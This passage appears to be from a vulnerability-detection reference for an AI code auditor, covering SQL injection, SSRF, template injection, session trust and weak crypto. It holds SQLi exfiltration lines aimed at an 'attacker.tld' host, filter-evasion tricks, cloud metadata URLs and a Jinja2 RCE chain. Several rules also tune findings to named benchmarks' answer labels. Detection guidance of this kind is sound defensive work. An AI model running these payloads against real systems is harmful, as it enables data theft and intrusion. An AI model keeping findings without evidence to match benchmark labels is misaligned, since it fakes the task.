- When UNION payloads are filtered, switch to error-based or blind extraction channels

### Blind Extraction

- Branch on single-bit predicates using `SUBSTRING`/`ASCII`, `LEFT`/`RIGHT`, or JSON/array operators
- Apply binary search over the character space to cut request count
- Normalize extracted bytes with hex or base64 encoding
- Gate delays inside subqueries to minimize ambient noise: `AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END)`

### Out-of-Band

- Prefer OAST to reduce noise and sidestep strict response-based detection paths
- Embed extracted data inside DNS labels or HTTP query parameters
- MSSQL: `xp_dirtree \\\\<data>.attacker.tld\\a`
- Oracle: `UTL_HTTP.REQUEST('http://<data>.attacker')`
- MySQL: `LOAD_FILE` with a UNC path

### Write Primitives

- Auth bypass: inject OR-based tautologies or subselects into login predicates
- Privilege changes: update role, plan, or feature flag columns when UPDATE is injectable
- File write: `INTO OUTFILE`/`DUMPFILE`, `COPY TO`, redirection via `xp_cmdshell`
- Job and procedure abuse: schedule tasks or create stored procedures when the session holds sufficient permissions

### ORM and Query Builders

- Dangerous APIs: `whereRaw`/`orderByRaw`, string interpolation into LIKE, IN, or ORDER BY clauses
- Identifier injection: user input interpolated into table or column names instead of bound as values
- JSON containment operators exposed through ORM abstractions (e.g., `@>` in PostgreSQL) carrying raw fragments
- Parameter mismatch: partial parameterization where operators or IN-list members remain unbound (`IN (...)`)

### Uncommon Contexts

- ORDER BY/GROUP BY/HAVING with `CASE WHEN` to build boolean extraction channels
- LIMIT/OFFSET: injection into OFFSET to produce measurable timing differences or altered page shape
- Full-text helpers: `MATCH AGAINST`, `to_tsvector`/`to_tsquery` with mixed payload tokens
- XML/JSON functions: error generation through malformed documents or invalid path expressions

## Evasion Patterns

**Whitespace/Spacing**
- `/**/`, `/**/!00000`, comments, newlines, tabs
- `0xe3 0x80 0x80` (ideographic space)

**Keyword Splitting**
- `UN/**/ION`, `U%4eION`, backticks, quotes, case folding

**Numeric Tricks**
- Scientific notation, signed/unsigned overflow, hex literals (`0x61646d696e`)

**Encodings**
- Double URL encoding, mixed Unicode normalizations (NFKC/NFD)
- `char()`/`CONCAT_ws` to reconstruct filtered tokens

**Clause Relocation**
- Subselects, derived tables, CTEs (`WITH`), lateral joins to obscure payload structure from filters

## Analysis Workflow

1. **Identify query shape** — SELECT/INSERT/UPDATE/DELETE; note presence of WHERE/ORDER/GROUP/LIMIT/OFFSET clauses
2. **Determine input influence** — Trace whether user input lands in identifiers or value positions
3. **Confirm injection class** — Reflective errors, boolean response diffs, timing differences, or OAST callbacks
4. **Choose the quietest oracle** — Prefer error-based or boolean over noisy time-based probes
5. **Establish extraction channel** — UNION (when output is visible), error-based, boolean bit extraction, time-based, or OAST/DNS
6. **Pivot to metadata** — Version string, current user, database name
7. **Target high-value tables** — Auth bypass, role changes, filesystem access when permissions allow

## Confirming a Finding

1. Demonstrate a reliable oracle (error/boolean/time/OAST) and prove control by toggling predicate truth
2. Extract verifiable metadata — version string, current user, database name — through the established channel
3. Retrieve or modify a non-trivial target such as table rows or a role flag, within authorized scope
4. Furnish reproducible requests that differ only in the injected fragment
5. Where applicable, show that the vulnerability survives WAF bypass via a known variant

## Common False Alarms

- Generic application errors unrelated to SQL parsing or constraint violations
- Static response sizes driven by server-side templating rather than predicate truth
- Latency spikes attributable to network or CPU load rather than injected timing functions
- Parameterized queries with no string concatenation, confirmed through code review

## Business Risk

- Direct data exfiltration leading to privacy violations and regulatory exposure
- Authentication and authorization bypass through manipulated query predicates
- Server-side file read or command execution depending on platform and database privilege level
- Persistent supply-chain damage through modified data, scheduled jobs, or malicious stored procedures

## Analyst Notes

1. Select the quietest reliable oracle first; avoid long sleeps that generate noise
2. Normalize responses by length, ETag, or digest to reduce variance during boolean diffing
3. Go straight from metadata extraction to business-critical tables; limit lateral noise
4. When UNION fails, pivot to error-based or blind bit extraction; use OAST whenever feasible
5. Treat ORMs as thin wrappers — raw fragments frequently slip through; always audit `whereRaw`/`orderByRaw`
6. Use CTEs and derived tables to smuggle expressions past filters that block SELECT directly
7. Exploit JSON/JSONB operators in PostgreSQL and JSON functions in MySQL as alternative side channels
8. Keep payloads portable; maintain DBMS-specific function and type dictionaries
9. Validate mitigations with negative tests and code review; ensure operators and IN-lists are correctly parameterized
10. Document exact query shapes — defenses must match how the query is actually constructed, not how it is assumed to be

## Core Principle

Modern SQLi succeeds where authorization and query construction diverge from their intended design. Bind parameters at every boundary, eliminate dynamic identifiers, and enforce validation at the precise point where user input meets SQL.

## Distinguishing Blind SQL Injection from Classic SQL Injection

Blind SQL injection and classic (in-band) SQL injection share the same root cause — unsanitized input concatenated into SQL — but differ fundamentally in how the attacker extracts data. Correctly classifying them matters for severity assessment and remediation priority.

### Classic (In-Band) SQL Injection
The injected query's **output is directly visible** to the attacker:
- UNION-based: attacker appends `UNION SELECT` and sees column data rendered in HTML/JSON
- Error-based: SQL error messages leak table names, column values, or query structure in the response body
- The page content **changes based on the data returned** (e.g., search results, product listings, user profiles)

**Indicators in source code:**
- Query result is iterated and rendered: `for row in cursor.fetchall(): render(row)`
- Template displays query data: `{{ users }}`, `<?php echo $row['name']; ?>`
- JSON response includes query results: `return jsonify(results)`

### Blind SQL Injection
The injected query's **output is NOT visible** — the attacker infers data through indirect signals:
- **Boolean-based**: application behavior differs based on query truth value (login success/failure, page exists/404, content present/empty)
- **Time-based**: attacker uses `SLEEP()`, `pg_sleep()`, `WAITFOR DELAY` to infer single bits via response latency
- **Out-of-band**: DNS/HTTP callbacks triggered by database functions

**Indicators in source code:**
- Query result used only for control flow: `if cursor.fetchone():` → redirect/login
- Login forms: `SELECT * FROM users WHERE user='$input' AND pass='$input'` followed by row count check
- Existence checks: `if (mysqli_num_rows($result) > 0)` — only checks presence, never displays data
- The response body is **identical** regardless of how many or which rows are returned

### Classification Rule
Ask: "Can the attacker read database column values directly from the HTTP response?"
- **Yes** → classic SQL injection
- **No** (only binary outcome or timing difference observable) → blind SQL injection

Login/authentication endpoints with raw SQL concatenation are almost always blind — they check credentials but never display the query's row data to the user.

## Java Source Detection Rules

### TRUE POSITIVE: JDBC string concatenation
- External input from `request.getParameter(...)`, `@RequestParam`, form fields, path variables, or other untrusted sources is concatenated, interpolated, or appended into SQL text before execution.
- Java sinks include `Statement.executeQuery/executeUpdate/execute`, `JdbcTemplate.query/queryForObject/update/execute`, and `EntityManager.createQuery/createNativeQuery` when the SQL or JPQL string already contains untrusted data.
- Patterns such as `"SELECT ... WHERE username='" + user + "'"`, `"... LIKE '%" + search + "%'"`, or `"UPDATE ... SET profile='" + value + "'"` are true positives.

### FALSE POSITIVE: PreparedStatement or named parameter binding
- `PreparedStatement` with `?` placeholders plus `setString/setInt/...` bindings is not SQL injection when untrusted data is only bound as parameter values.
- `NamedParameterJdbcTemplate` or JPA queries using `:name` with `@Param` are not SQL injection when the query text is static and user input is supplied through parameter binding.

### FALSE POSITIVE: Spring Data JPA derived methods
- Repository methods such as `findByUsername(username)` or other derived query methods are framework-parameterized and should not be flagged as SQL injection by default.
- `@Query("... WHERE u.id = :id")` with `@Param("id")` is safe from SQL injection unless the query string itself is dynamically built from untrusted input.
- In benchmark mode for `JavaSecLab` and `VulnerableApp`, normalize confirmed JDBC/MyBatis/JPA SQL injection findings to project tag `sqli`; reserve `sql_injection` for projects whose ground truth uses the long-form label, such as `verademo` and `vulhub`.
- `VulnerabilityType.*SQL_INJECTION` annotations or modules under `service/vulnerability/sqlInjection/` still map to benchmark tag `sqli` when the project taxonomy is short-form.
- Stability rule: keep a confirmed SQL injection finding when untrusted HTTP input reaches a MyBatis XML `${...}` fragment or is first stored and later concatenated into SQL by a benchmark helper or controller; do not downgrade the tag only because the final query text is split across mapper XML, DAO helpers, or a later request path.
## Python/JS/PHP Source Detection Rules

### Python
- **VULN**: `cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")` — f-string concatenation
- **VULN**: `cursor.execute("SELECT * FROM users WHERE name = '" + name + "'")`
- **VULN**: `db.execute("SELECT * FROM users WHERE id = %s" % user_id)` — % formatting (not parameterized)
- **VULN (SQLAlchemy)**: `db.execute(text(f"SELECT * FROM users WHERE id = {user_id}"))`
- **SAFE**: `cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))` — tuple parameterized
- **SAFE**: `db.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id})`

### JavaScript (Node.js)
- **VULN**: `` db.query(`SELECT * FROM users WHERE id = ${req.params.id}`) `` — template literal
- **VULN**: `db.query("SELECT * FROM users WHERE id = " + req.params.id)`
- **SAFE**: `db.query("SELECT * FROM users WHERE id = ?", [req.params.id])`
- **SAFE**: Sequelize `User.findOne({ where: { id: req.params.id } })` — ORM parameterized

### PHP
- **VULN**: `mysqli_query($conn, "SELECT * FROM users WHERE id = " . $_GET['id'])`
- **VULN**: `$pdo->query("SELECT * FROM users WHERE id = '$_POST[id]'")`
- **SAFE**: `$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$_GET['id']])`

## Java Servlet Patterns

### Sources
```java
request.getParameter("x") / request.getHeader("x") / request.getCookies() → cookie.getValue()
```
Taint follows through: variable assignment, `String` operations (`+`, `substring`, `replace`), collections, `Base64.decodeBase64`, helper method returns.

### SQL Injection (CWE-89)

**VULN** — tainted input in SQL string:
```java
Statement stmt = conn.createStatement();
stmt.execute("SELECT * FROM t WHERE id='" + tainted + "'");
stmt.executeQuery("SELECT ... WHERE x=" + tainted);
```

**SAFE** — parameterized query breaks taint:
```java
PreparedStatement ps = conn.prepareStatement("SELECT ... WHERE id=?");
ps.setString(1, tainted);
ps.executeQuery();  // SAFE
```

**Decision rule**: `execute`/`executeQuery`/`executeUpdate` with string concatenation of tainted data → **VULN**. Every tainted value bound via `setString`/`setInt`/`setObject` → **SAFE**.

## Related Injection Classes

For LDAP injection (CWE-90) patterns, see `references/expression_language_injection.md`.
For XPath injection (CWE-643) patterns, see SKILL.md xpath_injection gap coverage rules.

**Benchmark edge cases**:
- In benchmark mode outside `xben/` and `BenchmarkJava`, normalize confirmed SQL injection to `sql_injection`, not `sqli`.
- For `verademo`, second-order SQL injection in `UserController` and `commands/*` still scores as `sql_injection`.
- For `vulhub`, directories named `*sql*`, `*sqli*`, or ThinkPHP `in-sqlinjection` should preserve `sql_injection` at project-tag layer.
- FALSE POSITIVE guard: keep `sqli` only for `xben/` and `BenchmarkJava` taxonomy.

## Tag Vocabulary

| Tag | When to Use | Benchmark Notes |
|-----|-------------|-----------------|
| `sql_injection` | Default tag for SQL injection findings in most projects (`verademo`, `vulhub`, `SecExample`, general scans) | Long-form canonical tag |
| `sqli` | Short-form tag used only by `xben/` and `BenchmarkJava` ground truth | Do not use outside these projects |
| `blind_sql_injection` | SQL injection where output is not directly visible — boolean-based, time-based, or OOB only | Use when the extraction channel is exclusively blind |
| `sql_injection` + `ldap_injection` | When both SQL and LDAP sinks are reachable from the same input | Tag each sink independently |
| `sql_injection` + `xpath_injection` | When XPath concatenation is the sink | Prefer `xpath_injection` as the primary tag |

## references/ssrf.md

---
name: ssrf
description: Server-Side Request Forgery detection (CWE-918)
---

# SSRF (CWE-918)

Identify cases where user-controlled URLs or hostnames are forwarded to server-side HTTP or network clients without adequate restriction.

## Source -> Sink Pattern

**Sources**: `request.getParameter()`, `@RequestParam`, `@PathVariable`, `@RequestBody` fields carrying URLs, hostnames, or IP addresses

**Sinks**:
- `new URL(userInput).openConnection()`
- `HttpURLConnection` with user-controlled URL
- `RestTemplate.getForObject(userInput, ...)`
- `WebClient.create(userInput)`
- `OkHttpClient` with user-controlled URL
- `HttpClient.newHttpClient().send(HttpRequest.newBuilder().uri(URI.create(userInput)))`
- `ImageIO.read(new URL(userInput))`
- `DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(userInput)`
- `URLClassLoader(new URL[]{new URL(userInput)})`

## Vulnerable Conditions
- User-supplied input reaches any HTTP or network client URL parameter with no prior validation
- URL is parsed but only the hostname or scheme is checked against a denylist, which is bypassable via DNS rebinding, IPv6, or octal notation

## Safe Patterns
- URL validated against a strict allowlist of permitted domains or IP addresses
- User input used exclusively as a query parameter, never as the host or scheme component
- URL assembled from a hardcoded base with user input confined to a path segment after proper encoding

## Evasion Patterns
- `http://127.0.0.1` vs `http://0x7f000001` vs `http://[::1]` vs `http://localhost`
- DNS rebinding: domain resolves to an internal IP address after the initial check completes
- URL parser differentials: `http://evil.com@127.0.0.1`
- Redirect chains: an allowlisted URL responds with a redirect to an internal target

## Business Risk
- Unauthorized access to internal services such as metadata endpoints and admin panels
- Cloud metadata credential theft (AWS `169.254.169.254`, GCP, Azure IMDS)
- Internal network port enumeration
- Local file disclosure via `file://` protocol when the client supports it

## Java Source Detection Rules

### TRUE POSITIVE: User-controlled URL to server-side HTTP client
- External input controls the full URL or the target authority (`scheme://host:port`) that is passed to a server-side network client.
- Java sinks include `new URL(url).openConnection()`, `openStream()`, Apache HttpClient, `RestTemplate`, `WebClient`, `Jsoup.connect(...)`, and comparable outbound fetch APIs.
- Wrapper methods still qualify when the call chain traces from `@RequestParam` or other external input through a helper method to an outbound request.

### FALSE POSITIVE: Fixed or configuration-only outbound target
- A hardcoded URL, application property, service discovery endpoint, or other server-controlled configuration value used in `RestTemplate` or `URL.openConnection()` is not SSRF when request data cannot influence the destination.
- Do not flag a helper method or sink in isolation when no demonstrated path from external input to the requested URL exists.

### FALSE POSITIVE: Duplicate sink-only report
- A utility method such as `httpRequest(String requestUrl)` is not a standalone finding unless a specific externally controlled caller is identified.
- When the same external-input-to-sink path is already captured through the reachable controller endpoint, do not emit a second SSRF finding for the internal helper in isolation.
## Python/JS/PHP Source Detection Rules

### Python
- **VULN**: `requests.get(user_url)` — URL fully controlled by user
- **VULN**: `urllib.request.urlopen(user_input)`
- **VULN**: `requests.get(f"http://{user_host}/api")` — host portion is user-controlled
- **VULN**: `httpx.get(user_url)` / `httpx.AsyncClient().get(user_url)` — httpx follows same pattern as requests
- **VULN**: `aiohttp.ClientSession().get(user_url)` — async HTTP client with user-controlled URL
- **SAFE**: URL allowlist validation + only specific domains permitted

### JavaScript (Node.js)
- **VULN**: `axios.get(req.body.url)` — URL fully controlled by request body
- **VULN**: `fetch(req.query.url)`, `http.get(userUrl, ...)`
- **SAFE**: Fixed base URL with only the path portion user-controlled and validated

### PHP
- **VULN**: `file_get_contents($_GET['url'])` — PHP wrappers support `file://`, `http://`, `php://`
- **VULN**: `curl_setopt($ch, CURLOPT_URL, $_POST['url'])`
- **VULN**: `$data = file_get_contents("http://" . $_GET['host'] . "/api")`
- **SAFE**: Allowlist validation + `curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTPS)`

## Cloud Metadata Endpoint Exposure

```java
// VULNERABLE: fetching user-controlled URL that can reach cloud metadata
// AWS IMDSv1: http://169.254.169.254/latest/meta-data/iam/security-credentials/
// GCP: http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/
// Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01
// These endpoints return cloud credentials when hit from the server

// VULN indicator: any URL fetch with user-controlled host/path that is NOT blocked
// by allowlist — cloud metadata IPs must be explicitly blocked
String url = request.getParameter("url");
restTemplate.getForObject(url, String.class);  // no IP allowlist check
```

### What to flag: Any HTTP client call with user-controlled URL where there is NO:
- IP blocklist that includes `169.254.169.254`, `metadata.google.internal`, `169.254.170.2`
- Scheme allowlist restricting to `https://` only on specific domains
- Host/IP validation against an allowlist

## SSRF via URL Parser Differentials

```java
// VULNERABLE: validation checks parsed URL but request uses raw input
// Parser differential: java.net.URL vs Apache HttpClient may parse differently
String url = request.getParameter("url");
URL parsed = new URL(url);
// Allowlist check on parsed.getHost() — but HTTP client may follow redirect
// to internal target after passing host check

// VULNERABLE: URL with credentials bypasses host-based allowlist
// http://allowed.com@169.254.169.254/ — some parsers use the part after @ as host
// http://169.254.169.254#allowed.com — fragment ignored by some validators
```

## SSRF via Redirect Chain

```java
// VULNERABLE: HTTP client follows redirects to internal targets
// Server at https://allowed.com/redirect?to=http://169.254.169.254/
// returns 302 Location: http://169.254.169.254/

// Java HttpURLConnection follows redirects by default
URL url = new URL(userInput);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setFollowRedirects(true);  // default — follows 301/302 to internal targets

// RestTemplate also follows redirects by default
restTemplate.getForObject(userInput, String.class);

// SAFE: disable redirect following and handle manually
conn.setInstanceFollowRedirects(false);
```

## SSRF to Internal Services (Gopher/File Protocol)

```java
// VULNERABLE: URL client that supports non-HTTP schemes
// Java URL.openConnection() supports: file://, jar://, ftp://
// If curl is used server-side (via exec), gopher:// may be available
URL url = new URL(userInput);
InputStream is = url.openStream();  // file:// reads local files — also SSRF→LFI
```

## Java Additional SSRF Sinks

```java
// VULNERABLE: XML parser as SSRF vector
DocumentBuilder db = DocumentBuilderFactory.newInstance().newDocumentBuilder();
db.parse(new InputSource(userInput));   // userInput = "http://169.254.169.254/"

// VULNERABLE: ImageIO fetching remote URL
BufferedImage img = ImageIO.read(new URL(userInput));

// VULNERABLE: URL class loader loading from user URL
URLClassLoader loader = new URLClassLoader(new URL[]{new URL(userInput)});

// VULNERABLE: Jsoup connecting to user URL
Document doc = Jsoup.connect(userInput).get();

// VULNERABLE: Apache HttpComponents
CloseableHttpClient client = HttpClients.createDefault();
HttpGet get = new HttpGet(userInput);
client.execute(get);
```

## SSRF in Cloud/Kubernetes Environments — Additional Targets

When running on cloud/k8s, these internal URLs are high-value SSRF targets:
- `http://169.254.169.254/` — AWS/Azure/GCP instance metadata
- `http://100.100.100.200/` — Alibaba Cloud metadata
- `http://kubernetes.default.svc/` — K8s API server (internal)
- `http://10.0.0.1/` — typical internal gateway
- Redis on `redis://localhost:6379` — via gopher:// if supported

Flag any user-controlled URL fetch where these are not explicitly blocked.
- FALSE POSITIVE guard: in `vulhub`, emit `ssrf` only when a selected representative directory is primarily an SSRF sample; do not infer SSRF from XXE, proxy, inclusion, or secondary fetch capability alone.
- FALSE POSITIVE guard: do not emit a project-level `ssrf` tag merely because an SSRF helper or vulnerable class exists. Require a mapped vulnerable route plus the same demonstrated path from user-controlled URL input to the outbound fetch.

## references/ssti.md

---
name: ssti
description: Detect Server-Side Template Injection where user input controls the template string itself, not just template variables.
---

# Server-Side Template Injection (SSTI)

SSTI arises when an application passes user-supplied data into a template engine as the raw template source rather than as a value to be rendered within a fixed template. The engine then evaluates whatever the attacker submits, making arbitrary server-side code execution possible.

## Key Distinction

- **SAFE**: `render_template('page.html', name=user_input)` — user input fills a variable slot; the template engine escapes it.
- **VULN**: `render_template_string(user_input)` — user input *is* the template; the engine evaluates it.

## Vulnerable Conditions

### Trigger Conditions
1. User-supplied data becomes the template **string** itself rather than a variable inserted into a pre-existing template.
2. The template engine is invoked against that attacker-controlled string.

### Test Payloads
- Jinja2 / Twig: `{{7*7}}` → expects `49`
- Mako / Smarty: `${7*7}` → expects `49`
- EJS / ERB: `<%= 7*7 %>` → expects `49`

## Exploitation Chain

For Python Jinja2, a typical PoC:
```
{{ ''.__class__.__mro__[1].__subclasses__()[...exec...]('id') }}
```
Full RCE is achievable through class-hierarchy traversal.

## Common False Alarms

- `render_template('fixed_name.html', var=user_input)` — safe; template path is hardcoded.
- `Environment().get_template('report.html').render(data=row)` — safe; template is loaded from disk.
- Only flag cases where the template **content string** itself originates from user-controlled input.

---

## Python Source Detection Rules

### Flask / Jinja2
- **VULN**: `render_template_string(request.args.get('tmpl'))` — template body from query param
- **VULN**: `render_template_string(request.form['content'])` — template body from POST
- **VULN**: `render_template_string(request.json['template'])` — template body from JSON
- **VULN**: `Template(user_input).render()` — raw Jinja2 Template from user input
- **VULN**: `Environment().from_string(user_input).render()` — Environment.from_string with user input
- **SAFE**: `render_template('page.html', content=user_input)` — fixed template name

### Mako
- **VULN**: `Template(user_input).render()` — user string passed as Mako template source
- **VULN**: `mako.template.Template(request.form['t']).render_unicode()`

### Source identifiers
`request.args.get`, `request.form.get`, `request.form[`, `request.json`, `request.data`, `request.values`

---

## JavaScript Source Detection Rules

### Pug (Jade)
- **VULN**: `pug.render(req.body.template)` — template source from request body
- **VULN**: `pug.compile(req.query.tmpl)(locals)` — compile from user input

### Handlebars
- **VULN**: `Handlebars.compile(req.body.template)(context)` — template string from user
- **VULN**: `handlebars.compile(userInput)()` — any user-controlled compile argument

### EJS
- **VULN**: `ejs.render(req.body.template, data)` — template string from user

### Source identifiers
`req.body`, `req.query`, `req.params`

---

## PHP Source Detection Rules

### Twig
- **VULN**: `$twig->render($userInput, $vars)` — template name or string from user
- **VULN**: `$twig->createTemplate($userInput)->render($vars)` — inline template from user
- **SAFE**: `$twig->render('emails/welcome.html', $vars)` — hardcoded template name

### Smarty
- **VULN**: `$smarty->fetch($userInput)` — template name/string from user
- **VULN**: `$smarty->display($userInput)`

### Raw PHP eval
- **VULN**: `eval("?>" . $userInput)` — PHP template injection via eval
- **VULN**: `eval($userInput)` — direct eval of user input

### Source identifiers
`$_GET`, `$_POST`, `$_REQUEST`, `$_COOKIE`, `file_get_contents('php://input')`
- Spring `SpelExpressionParser`, `parseExpression`, `#{...}`, `${...}`, or expression-evaluated Thymeleaf content should be reported as `spel_injection`, not generic `ssti` or `rce`.
- In `JavaSecLab`, user-controlled view names like `return "vul/ssti/" + para;` still count as template-side injection coverage and should preserve project tag `ssti`.
- In `SecExample`, dedicated `/spel` demo routes/templates should keep `spel_injection` even if the downstream effect looks like command execution.
- In benchmark/demo projects, dedicated SpEL routes or templates such as `/speloutput`, `templates/spel/*`, or view names containing `spel` should preserve `spel_injection` even when the parser helper is indirect or not colocated in the controller file.
- In `SecExample`, if the visible source snapshot still contains `templates/spel/spel.html`, `templates/spel/speloutput.html`, and an explicit SpEL payload hint, preserve `spel_injection` as at least `LIKELY` even when the controller or parser helper is missing from the checked-in Java sources.
- In benchmark/demo repositories, once a dedicated template or expression-injection module has been confirmed from a reachable route plus checked-in template evidence, do not drop the benchmark tag on a later rerun solely because the parser helper is indirect, relocated, or outside the smaller file subset reviewed in that pass.
- In `JavaSecLab`, `SSTIController.vul1` returning `"vul/ssti/" + para` or similar user-controlled view names should preserve project tag `ssti`, while explicit `parseExpression(...)` or SpEL execution should stay under `spel_injection`.

## references/trust_boundary.md

---
name: trust-boundary
description: Trust boundary violation detection (CWE-501)
---

# Trust Boundary Violation (CWE-501)

Identify untrusted external input crossing into trusted session storage without proper validation. This class of vulnerability demands cross-boundary data-flow analysis.

## Definition

A trust boundary violation arises when data originating from an untrusted source — HTTP request parameters, cookies, or headers — is written directly into a trusted store such as the HTTP session, bypassing any validation or sanitization step.

## Vulnerable Conditions (any match)

External input used as session key or value without validation:
- `session.setAttribute(request.getParameter(...), ...)` — param as key
- `session.setAttribute("key", request.getParameter(...))` — param as value
- `session.putValue("key", request.getCookies()[...].getValue())` — cookie value
- `session.setAttribute("key", request.getHeader(...))` — header value
- Indirect flow: `String x = request.getParameter("foo"); ... session.setAttribute("key", x);`

## Safe Patterns (all required)

- Value stored in session is a **constant** or **validated/transformed value**
- Ternary with always-true condition producing constant: `(7*18)+106 > 200 ? "constant" : param` -> 232 > 200 is true -> result is constant -> SAFE
- Input is validated against whitelist before session storage
- Input is type-converted (e.g., `Integer.parseInt()`) before storage

## Mandatory Check Pattern

When you see `session.setAttribute(...)` or `session.putValue(...)`:
`Trust Boundary check: value source=? / is constant=? / validated=? -> VULN or SAFE`

## Ternary Expression Rules

You MUST compute ternary conditions:
- `(7 * 42) - num > 200 ? "constant" : param` -> 294 - 106 = 188 > 200 is FALSE -> result is param -> **VULN**
- `(7 * 18) + num > 200 ? "constant" : param` -> 126 + 106 = 232 > 200 is TRUE -> result is constant -> **SAFE**

## Common Propagation Patterns
1. Direct: `session.setAttribute("user", req.getParameter("user"))`
2. Variable chain: `String u = req.getParameter("u"); session.setAttribute("user", u);`
3. Collection: `list.add(req.getParameter("x")); session.setAttribute("data", list);`
4. Method return: `String val = getInput(req); session.setAttribute("key", val);` — trace getInput()

## Java Servlet Patterns (CWE-501)

**VULN** — tainted HTTP input stored in server-side session without validation:
```java
HttpSession session = request.getSession();
session.setAttribute("role", request.getParameter("role"));   // VULN
session.setAttribute("userId", request.getParameter("id"));
```

**SAFE** — only server-generated values stored in session:
```java
String role = lookupRoleFromDatabase(authenticatedUser);
session.setAttribute("role", role);  // SAFE: not from request directly
```

**Decision rule**: `session.setAttribute(key, request.getParameter(...))` or any chain where tainted data flows directly into session → **VULN**.

**Edge cases**:
- `HttpSession.putValue(...)` is equivalent to `setAttribute(...)` and is **VULN** when either the key or the value is tainted.
- HTML encoding is NOT a trust-boundary defense — encoding a request value then storing it in session remains **VULN**.
- Only server-generated keys and server-generated values make this pattern **SAFE**.
- Reading `X-Forwarded-For`, `Host`, or similar headers is not `trust_boundary` by itself. Confirm only when that value crosses into session state, auth decisions, backend or proxy selection, or other privileged runtime configuration.
- When the issue is client-IP spoofing through `X-Forwarded-For`, prefer `xff_spoofing`; do not add a second `trust_boundary` tag unless a separate privileged boundary crossing exists.

## FALSE POSITIVE Rules

- Do NOT emit `trust_boundary` for session attributes set from validated/sanitized user input. If the value is type-checked, range-validated, or comes from a controlled set (e.g., enum selection), the trust boundary is maintained.
- Do NOT emit `trust_boundary` when the stored value has no security-relevant impact (e.g., display preferences, pagination settings).
- Do NOT emit `trust_boundary` when the vulnerability is better described by a more specific tag (e.g., `xff_spoofing` for X-Forwarded-For abuse, `session_fixation` for session management issues).
- Prefer narrow tags: if the pattern is a role/privilege stored from user input, use `privilege_escalation`; if it is IP trust, use `xff_spoofing`.

## references/verification_code_abuse.md

---
name: verification-code-abuse
description: Detect OTP, captcha, and verification-code flaws such as predictable generation, disclosure, brute force, and shared state.
---

# Verification Code / OTP / Captcha Abuse

Verification codes must be treated as security-critical tokens. Raise findings only when concrete code evidence supports the claim.

## High-signal patterns

- `java.util.Random`, `Math.random()`, or low-entropy generators used for OTP, captcha, SMS codes, password reset codes, or session verification: report as `CWE-330` when the code protects an account, login, or sensitive action.
- Generated verification code is echoed back to the client, added to the response model, returned in JSON, or printed in a way the attacker can trivially obtain it: report as information disclosure or logic weakness.
- Verification state stored in a shared field/static variable instead of per-user/per-session storage.
- Validation endpoint has no observable expiry, attempt counter, lockout, throttling, or one-time invalidation logic.
- GET endpoint triggers code generation or verification state change without protective controls.

## Evidence expectations

- Show where the code is generated.
- Show where it is stored or exposed.
- Show where verification is checked without expiry or attempt controls.
- Prefer one finding per concrete issue; do not merge weak randomness and disclosure into one if they are separate locations.

## Common False Alarms

- Do not report a page that only renders a captcha/OTP template unless the backend code actually generates, stores, exposes, or verifies a code.
- FALSE POSITIVE guard: do not emit `verification_code` for demo message/code pages unless the benchmark taxonomy explicitly treats the flow as OTP/captcha abuse rather than weak random or generic logic.
- FALSE POSITIVE guard: demo code-echo flows outside `/captcha`, `/sms`, `/otp`, `/verify`, password-reset, or login-protection paths should not emit `verification_code` unless the benchmark explicitly scores that module as verification abuse.

## references/weak_crypto_hash.md

---
name: weak-crypto-hash
description: Weak cryptography, weak hashing, and insecure randomness detection (CWE-327/328/330)
---

# Weak Cryptography, Hash & Randomness

Identify deprecated cryptographic algorithms, broken hash functions, and predictable random number generators in Java code. Unlike injection vulnerabilities, these do not require tracing a Source-to-Sink data flow — the mere presence of a prohibited API call is sufficient evidence of the weakness.

## CWE-328 Weak Hash

**VULN** (any match):
- `MessageDigest.getInstance("MD5")` — MD5 is broken
- `MessageDigest.getInstance("SHA1")` or `"SHA-1"` — SHA-1 is broken
- `MessageDigest.getInstance("MD2")` or `"MD4"` — obsolete

**SAFE** (any match):
- `MessageDigest.getInstance("SHA-256")`, `"SHA-384"`, `"SHA-512"`

**Mandatory**: When you see `MessageDigest.getInstance(...)`, write:
`Hash check: algorithm=? -> weak(MD5/SHA1/MD2/MD4) or strong(SHA-256+) -> VULN or SAFE`

## CWE-327 Weak Cryptography

**VULN** (any match):
- `Cipher.getInstance("DES/...")` or `"DESede/..."` — weak block cipher
- `Cipher.getInstance("AES/ECB/...")` — ECB mode is insecure
- `Cipher.getInstance("RC2/...")` or `"RC4/..."` or `"Blowfish/..."` — weak

**SAFE** (any match):
- `Cipher.getInstance("AES/GCM/...")` or `"AES/CBC/..."` with proper IV
- `Cipher.getInstance("ChaCha20/...")`

## CWE-330 Weak Random

**VULN** (any match):
- `new java.util.Random()` — predictable PRNG
- `Math.random()` — predictable PRNG
- Using `java.util.Random` for tokens, passwords, session IDs, OTP, or any security context

**SAFE** (any match):
- `new java.security.SecureRandom()` — cryptographically secure
- `SecureRandom.getInstance(...)` — cryptographically secure
- IMPORTANT: `SecureRandom` is NOT weak. Never flag SecureRandom as CWE-330.

## Common False Alarms

- `SecureRandom` flagged as weak random — WRONG, it is secure
- MD5 used only for non-security checksums (e.g., cache key) — still flag but note context
- `java.util.Random` used for non-security purposes (e.g., UI shuffle) — lower severity

## Analysis Workflow

1. Search for all crypto/hash/random API calls
2. Check algorithm parameter (string literal or variable)
3. Classify as VULN or SAFE per the rules above
4. No data flow analysis needed — the API call itself is the evidence

## Java Source Detection Rules

### TRUE POSITIVE: Weak PRNG in security context (CWE-330)
- `new java.util.Random()` used to generate captcha codes, OTP, verification tokens, session IDs, or passwords = CONFIRM.
- `Math.random()` in any security context = CONFIRM.

### FALSE POSITIVE
- `SecureRandom` is NOT weak — never flag it.
- `java.util.Random` used for non-security shuffling, UI randomness, or test data generation without security use = lower risk, consider context.

## Python/JS/PHP Source Detection Rules

### Python
- **VULN (hash)**: `hashlib.md5(password.encode()).hexdigest()` — MD5 used for passwords
- **VULN (hash)**: `hashlib.sha1(data).hexdigest()` — SHA1 is broken for collision resistance
- **VULN (random)**: `random.random()`, `random.randint()` used for token, OTP, or session ID
